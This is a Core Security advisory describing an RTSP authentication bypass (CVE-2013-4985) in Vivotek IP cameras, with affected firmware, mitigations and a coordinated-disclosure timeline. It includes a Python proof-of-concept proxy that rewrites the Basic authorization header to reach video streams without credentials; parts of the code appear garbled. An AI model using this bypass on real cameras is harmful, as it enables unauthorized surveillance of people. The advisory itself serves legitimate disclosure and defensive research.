Core Security - Corelabs Advisory http://corelabs.coresecurity.com
Vivotek IP Cameras RTSP Authentication Bypass
Title: Vivotek IP Cameras RTSP Authentication Bypass Advisory ID: CORE-2013-0704 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass Date published: 2013-11-05 Date of last update: 2013-11-05 Vendors contacted: Vivotek Release mode: Coordinated release
Class: Authentication issues [CWE-287] Impact: Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4985
A security vulnerability was found in Vivotek IP cameras  that could allow an unauthenticated remote attacker to bypass the RTSP basic authentication and access the video stream.
. Vivotek IP cameras with firmware 0105a. . Vivotek IP cameras with firmware 0105b. . This vulnerability was tested against Vivotek IP cameras IP7160, IP7361 and IP8332. Other Vivotek cameras and firmware are probably affected too, but they were not checked.
Vendor released the beta firmware 0301c  and notifies that it should be the formal release [2013-10-28]; contact vendor for further information. Some mitigation actions for this issue may be:
. Do not expose the camera to internet unless absolutely necessary. . Filter RTSP traffic (default port 554) if possible.
This vulnerability was discovered and researched by Martin Di Paola from Core Security QA Team. The PoC of was made by Martin Di Paola with help of Martin Rocha from Core Development Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
7.1. RTSP Authentication Bypass
This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554. In order to run the proof of concept, follow the next steps:
(c) 2013 CoreLabs,
Share-Alike 3.0 (United States)
import sys from socket import * from threading import Thread import time
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close()
class UDPDispatcher(Thread): dispatchers = 
def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove(self)
class PipeThread(Thread): pipes = 
def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send(data) except Exception as e: log(e) break PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log(' Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr, dst_addr)) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) log(' Check live stream in rtsp://localhost:%d/live.sdp' % src_port) self.sock.listen(5)
def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address
def get_describe_data(self): return ''
class Vivotek(Camera): def init(self, address): Camera.init(self, address)
def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP
server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address,
def spoof_rtsp_conn(self, data): auth_string = "Authorization: Basic" if auth_string in data: data = data.split("\r\n") new_data =  for line in data: new_data.append(line if auth_string not in line else
auth_string + " a") data = "\r\n".join(new_data) return data
if name == 'main': if len(sys.argv) > 1: listener_port = camera_port = int(sys.argv) camera_ip = sys.argv if len(sys.argv) == 4: camera_port = int(sys.argv) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
. 2013-07-04: Core Security Technologies attempts to report the vulnerability. Publication date set to July 30th, 2013.
. 2013-07-08: Core attempts to contact vendor.
. 2013-07-22: Core attempts to contact vendor.
. 2013-07-30: First release date missed.
. 2013-07-30: Core notifies the Vivotek team of the vulnerability.
. 2013-08-01: Vendor asks for a report with technical information.
. 2013-08-01: Technical details sent to Vivotek team.
. 2013-08-05: Core asks for a status update.
. 2013-08-05: Vendor notifies that the reported issue is being evaluated.
. 2013-08-12: Core asks for a status update and re-schedules the advisory publication for Aug 28th.
. 2013-08-15: Vendor notifies that authentication in RTSP streaming is disabled by default and the reported issue is not a vulnerability.
. 2013-08-27: Core notifies that the PoC was tested against Vivotek IP cameras IP7160, IP8332 and IP7361, with basic authentication enabled, and all targets were vulnerable. Core re-sends a PoC and additional technical details.
. 2013-08-28: Vendor confirms the issue and notifies that a patched firmware will be released in the future.
. 2013-08-28: Second release date missed.
. 2013-09-02: Core asks for a specific release date and re-schedules the advisory publication for Sep 11th.
. 2013-09-03: Vendor notifies that they have a solution that is being tested. The solution will be released in the newest models first.
. 2013-09-09: Core asks for a status update regarding the release date.
. 2013-09-10: Vendor notifies that the testing process will probably finish before Sep. 27th.
. 2013-09-11: Third release date missed.
. 2013-09-30: Core asks for a status update.
. 2013-09-30: Vendor notifies that they found other issues on this version and asks for delaying the release.
. 2013-10-17: Core asks for a status update and a tentative release date.
. 2013-10-17: Vendor notifies that a firmware beta version is being tested .
. 2013-10-28: Core notifies that the advisory was re-scheduled to be published next Tuesday and that date should be considered final.
. 2013-10-28: Vendor notifies that the firmware beta release 0301c  should be the formal release.
. 2013-11-05: Advisory CORE-2013-0704 published.
 http://www.vivotek.com/web/product/NetworkCameras.aspx  ftp://fae:firstname.lastname@example.org/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkg
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.